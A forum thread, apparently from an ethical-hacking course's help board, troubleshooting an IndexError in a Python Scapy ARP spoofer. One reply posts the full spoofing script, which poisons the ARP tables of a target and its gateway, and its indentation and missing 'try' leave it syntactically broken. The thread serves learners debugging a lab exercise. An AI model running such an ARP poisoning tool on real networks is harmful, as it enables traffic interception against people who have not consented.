Index Error with Arp Spoof for wlan0

My exact problem is here:

Traceback (most recent call last):
File “”, line 40, in
spoof(target_ip, gateway_ip)
File “”, line 17, in spoof
target_mac = get_mac(target_ip)
File “”, line 13, in get_mac
return answered_list[0][1].hwsrc
File “/usr/lib/python2.7/dist-packages/scapy/”, line 118, in getitem
return self.res.getitem(item)
IndexError: list index out of range

whenever I attempt to use the Arp Spoof programme on wlan0, I get this code. I have attempted to debug but am not sure what I do to influence this IndexError.

Please help

Is this from Zaid’s Python Ethical Hacking course? Can you give us the name of the instructor, course, section, and current lesson?

The error is in your code. Can you post your code for inspection?


Please try this slight change in the

#!/usr/bin/env python

import scapy.all as scapy
import time
import sys

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=10, verbose=False)

target_ip = ""
gateway_ip = ""

target_mac = get_mac(target_ip)
destination_mac = get_mac(gateway_ip)
packets_sent_count = 0

        while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        packets_sent_count += 2
        print("\r[+] Packets Sent " + str(packets_sent_count)),
except KeyboardInterrupt:
    print("\n[-] Detected CTRL + C ... Resetting ARP tables..... Please wait.\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
1 Like

I’m running into the same issue. I have the same code as @AJS more or less. I’ve noticed the script runs into the error when I start loading pages in quick succession on the Windows 10 VM. Anyone have any ideas?

To give more context: this is from the “Writing an ARP Spoofer” exercise from Zaid Al Quraishi’s “Learn Python & Ethical Hacking From Scratch” course.

Hi Pipboy,

Actually, I forgot to indent the “try” block in the above command. Please make sure that you indent the block of code correctly when you write the program.

        while True:
            spoof(target_ip, gateway_ip)
            spoof(gateway_ip, target_ip)
            packets_sent_count += 2
            print("\r[+] Packets Sent " + str(packets_sent_count)),

Then run it as shown in the lecture to start ARP poisoning.

My script had the correct while loop indentation, but I just tried running it again and did not get the list Index Error I was getting last night. I sent 350 ARP packets total. It seems to be fixed. I’ll post again if I run into the same error in the future, because I don’t know what was causing it.

Interesting, I ran into the same error. My arp_spoof appears to run fine by itself, however I ran into this error while running it together with my packet_sniffer. It seems my error only appeared after my packet_sniffer itself stopped because of an error. Once packet-sniffer stopped, it seems that caused some type of issue with arp_spoof. How I haven’t figured out yet, but once I fixed the error with packet_sniffer and it kept running and producing output, arp_spoof didn’t produce the index error.

So, maybe check and see if arp_spoof runs fine by itself. If so, try it along with packet_sniffer and see if the arp_spoof index error appears again. If that’s the case, check if packet-sniffer stopped with an error, fix it, and try again.

Just tested arp_spoof and packet_sniffer again. Both working fine but once I quit packet_sniffer with Control+C, about 10 seconds later arp_spoof quit with the same index error again.

Maybe sometime I’ll work on some exception handling. . .

It gives the same error after sending about 20-30 packets.
help please

Hi @Tanvir_Singh, Is your packet_sniffer running fine? On seeing the previous replies, it seems that if there is any error with packer_sniffer code then arp_spoof returns out of index error.

do not specify the timeout in the get_mac function so that it keeps sending broadcast unless it gets a reply. Program is crashing as it is not getting any response from the target machine within the specified time limit. Same goes for everyone who’s script is crashing with IndexError.